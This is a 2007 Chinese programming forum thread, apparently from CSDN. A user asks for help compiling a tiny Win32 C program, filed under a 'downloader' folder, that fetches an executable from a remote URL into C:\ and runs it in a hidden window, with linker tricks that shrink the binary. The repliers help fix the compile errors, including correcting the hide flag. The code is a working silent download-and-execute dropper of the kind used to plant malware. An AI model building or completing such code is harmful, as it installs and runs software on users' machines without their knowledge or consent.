我用VC编译C程序,提示出现一个错误

wuyuede 2007-03-29 01:56:05

#pragma

comment(linker,"/ENTRY:Entrypoint/FILEALIGN:0x200/MERGE:.data=.text/MERGE:.rdata=.text/SECTI

ON:.text,EWR/IGNORE:4078")
#include<windows.h>
#pragma comment(lib,"Urlmon.lib")
void Entrypoint()
{
URLDownloadToFile(0,"http://www.163.com/hanhua.exe","c:\\hanhua.exe",0,0);
WinExec("c:\\hanhua.exe",SW_IIIDE);
exit(0);
}



错误如下:
--------------------Configuration: dll - Win32 Release--------------------
Compiling...
dll.cpp
E:\Vc编程资料\自己写代码\down\DLL下载者\DLL该成EXE\dll\dll.cpp(16) : fatal error C1010: unexpected end of file while looking for precompiled header directive
Error executing cl.exe.

dll.exe - 1 error(s), 0 warning(s)
...全文
238 8 打赏 收藏 转发到动态 举报
写回复
用AI写文章
8 条回复
切换为时间正序
请发表友善的回复…
发表回复
0黄瓜0 2007-03-29
  • 打赏
  • 举报
回复
第一)SW_IIIDE可能是SW_HIDE之误
第二)SW_IIIDE可能是其他开发环境定义的常数.

第三)这个是一个命令

#pragma

comment(linker,"/ENTRY:Entrypoint/FILEALIGN:0x200/MERGE:.data=.text/MERGE:.rdata=.text/SECTI
请写在一行
wuyuede 2007-03-29
  • 打赏
  • 举报
回复
大家帮我看看,,我到底是 在那里出现问题了啊
wuyuede 2007-03-29
  • 打赏
  • 举报
回复
加上了啊,,,,

#include "stdafx.h"

comment(linker,"/ENTRY:Entrypoint/FILEALIGN:0x200/MERGE:.data=.text/MERGE:.rdata=.text/SECTI

ON:.text,EWR/IGNORE:4078")
#include<windows.h>
#pragma comment(lib,"Urlmon.lib")
void Entrypoint()
{
URLDownloadToFile(0,"http://www.163.com/hanhua.exe","c:\\hanhua.exe",0,0);
WinExec("c:\\hanhua.exe",SW_IIIDE);
exit(0);
}


错误代码

--------------------Configuration: dll - Win32 Release--------------------
Compiling...
dll.cpp
E:\Vc编程资料\自己写代码\down\DLL下载者\DLL该成EXE\dll\dll.cpp(12) : error C2065: 'SW_IIIDE' : undeclared identifier
Error executing cl.exe.

dll.exe - 1 error(s), 0 warning(s)
intuition444 2007-03-29
  • 打赏
  • 举报
回复
是加到文件的最上面了吗
intuition444 2007-03-29
  • 打赏
  • 举报
回复
是加到文件的最上面了吗
wuyuede 2007-03-29
  • 打赏
  • 举报
回复
加上 #include "stdafx.h"
这个出现4个错误,,呵呵,,,,
wuyuede 2007-03-29
  • 打赏
  • 举报
回复
哦,,那哦看看,谢谢啊,
晨星 2007-03-29
  • 打赏
  • 举报
回复
#include "stdafx.h"
试试看。

70,037

社区成员

发帖
与我相关
我的任务
社区描述
C语言相关问题讨论
社区管理员
  • C语言
  • 花神庙码农
  • 架构师李肯
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧